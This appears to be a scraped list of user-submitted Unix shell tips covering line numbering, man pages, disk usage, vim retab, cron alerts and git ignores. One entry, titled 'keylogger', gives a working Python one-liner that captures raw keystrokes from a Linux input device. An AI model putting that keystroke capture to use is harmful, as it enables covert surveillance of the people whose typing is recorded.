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In place line numbering
Add permanent line numbers to a file without creating a temp file. The rm command deletes file10 while the nl command works on the open file descriptor of file10 which it outputs into a new file again named file10. The new file10 will now be numbered in the same directory with the same file name and content as before, but it will in fact be a new file, using (ls -i) to show its inode number will prove this.

Use nroff to view the man pages
Using nroff , it is possible to view the otherwise garbled man page with col command.

Find the 10 users that take up the most disk space
In OSX you would have to make sure that you "sudo -s" your way to happiness since it will give a few "Permission denied" errors before finally spitting out the results. In OSX the directory structure has to start with the "Users" Directory then it will recursively perform the operation. Your Lord and master, Mematron

retab in vim, tab to space or space to tab, useful in python
usage: :[rang]ret[!][tabstop value] python is indent sensitive, after command :set list you may see your codes are mixed with tab and space ret can help you to convert space to tab or tab to space

keylogger
$python -c "DEV = '/dev/input/event4' #if event0 doesn't work, try event1 event2 etc fo = open(DEV) def interpret(keycode,state): if state == 0: print '%i up'%keycode if state == 1: print '%i down'%keycode if state == 2: print '%i repeat'%keycode while 1: line = fo.read(16) if ord(line[10]) != 0: keycode,state = line[10],line[12] interpret(ord(keycode),ord(state)) "

display a smiling smiley if the command succeeded and a sad smiley if the command failed
you could save the code between if and fi to a shell script named smiley.sh with the first argument as and then do a smiley.sh to see if the command succeeded. a bit needless but who cares ;)

Create a new file

Send e-mail if host is 'dead' or not reachable
Cleaner with a mailto assignment in crontab (if the command fails you get an email): MAILTO=admin@example.com 10,30,50 * * * * ping -q -c1 -w3 192.168.0.14 >/dev/null

Which processes are listening on a specific port (e.g. port 80)
swap out "80" for your port of interest. Can use port number or named ports e.g. "http"

ignore .DS_Store forever in GIT
With a couple of little commands, you?ll be able to ignore the .DS_Store files forever from your git repositories on mac! The following command will add the .gitignore file to the git configuration git config --global core.excludesfile ~/.gitignore then, the following, will add the .DS_Store to the list echo .DS_Store >> ~/.gitignore


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